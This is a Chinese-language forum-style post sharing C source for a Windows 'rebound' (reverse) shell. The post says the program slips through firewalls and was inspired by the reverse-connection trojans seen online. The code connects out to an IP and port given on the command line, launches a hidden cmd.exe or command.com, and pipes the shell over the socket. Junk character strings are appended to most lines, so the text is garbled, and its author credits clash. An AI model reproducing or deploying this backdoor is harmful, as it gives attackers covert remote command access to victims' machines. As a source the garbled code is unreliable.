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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rY=dNK]d  
C #@5:$  
/* ============================== kgFx  
Rebound port in Windows NT /T<,vR  
By wind,2006/7 hQJ-  ~  
===============================*/ (Vy`u)gG  
#include l\=He  
#include KJ6:ZTbW  
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#pragma comment(lib,"wsock32.lib") 6~8X/ -02  
$olITe"$g  
void OutputShell(); G9c2kX.Bf  
SOCKET sClient; +,0 :L :a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -hO[^^i9  
='.G,aJ9  
void main(int argc,char **argv) 0yKPYA*j  
{ ;u?H#\J,  
WSADATA stWsaData; hL/  
int nRet; X&Pj  
SOCKADDR_IN stSaiClient,stSaiServer; c6F8z75U  
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if(argc != 3) >Q# !.lH$W  
{ IlP@a[:_  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0p \,}t\E  
return; l:"zYcp%  
} 5sF?0P;ln  
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WSAStartup(MAKEWORD(2,2),&stWsaData); l`<u\],  
a)M#O\i`  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OD1>s6uA7  
vqBT^Q_q;  
stSaiClient.sin_family = AF_INET; bQ_N^[oxQ  
stSaiClient.sin_port = htons(0); kF"G {5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k/#321Z  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zlN<yZB^  
{ 9y&&6r<I  
printf("Bind Socket Failed!\n"); IWAp  
return; (Z};(Hn  
} %y2 i1^  
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stSaiServer.sin_family = AF_INET; zF=E5TL-,4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ru^j~Cj5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <-a6'g2y  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =5X(RGK  
{ hX sH9R  
printf("Connect Error!"); VZ$FTM^b8  
return; w^aI1M50  
} Mhj.3nN  
OutputShell(); T,Zfz9{n  
} y e1hcQ  
U6R~aRJ;  
void OutputShell() _,9/g^<  
{ 6`hHx=L  
char szBuff[1024]; R4g% $}  
SECURITY_ATTRIBUTES stSecurityAttributes; srfM"Lb'  
OSVERSIONINFO stOsversionInfo; dWAKIBe  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1Igo9rv  
STARTUPINFO stStartupInfo; x3?:"D2  
char *szShell; d<^o@  
PROCESS_INFORMATION stProcessInformation; qx3`5)ef  
unsigned long lBytesRead; -_|U"C$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /\1MG>#K  
_^pg!j[Fy}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4XL]~3 c  
stSecurityAttributes.lpSecurityDescriptor = 0; )'gO?cN  
stSecurityAttributes.bInheritHandle = TRUE; v %fRq!~  
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#}{1>g{sXt  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _3?7iH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); V:8ph`1  
yzQ^KqLH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A#B6]j)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 34\:1z+s M  
stStartupInfo.wShowWindow = SW_HIDE; MX{p)(HW  
stStartupInfo.hStdInput = hReadPipe; .V:H~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $x %VUms  
XQ]5W(EP  
GetVersionEx(&stOsversionInfo); LxC"j1wfl  
!F&Ss|(}  
switch(stOsversionInfo.dwPlatformId) Ohmi(s   
{ nXuoRZ  
case 1: ;/phZ$l  
szShell = "command.com"; H6PS7g"  
break; &7\q1X&Rr  
default: >B9|;,a  
szShell = "cmd.exe"; w\z6-qa  
break; ^Q$U.sN? R  
} MHVHEwr.{  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); GGR hM1II  
" )87GQ(R  
send(sClient,szMsg,77,0); \f7A j>  
while(1) 3Vj,O?(Z  
{ On{p(| l  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V=,VOw4  
if(lBytesRead) ,3`RM $  
{ AK*F,H9  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U0kEhMIIf  
send(sClient,szBuff,lBytesRead,0); _jW}p-j  
} H,!3s<1  
else ?!J{Mrdn  
{ 9"YOj_z  
lBytesRead=recv(sClient,szBuff,1024,0); S%7^7MSqA  
if(lBytesRead<=0) break; BiUOjQC#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .v3~2r*&  
} YQI&8~z  
} T]%:+_,  
phA^ kdW  
return; $m;rOKVU  
}
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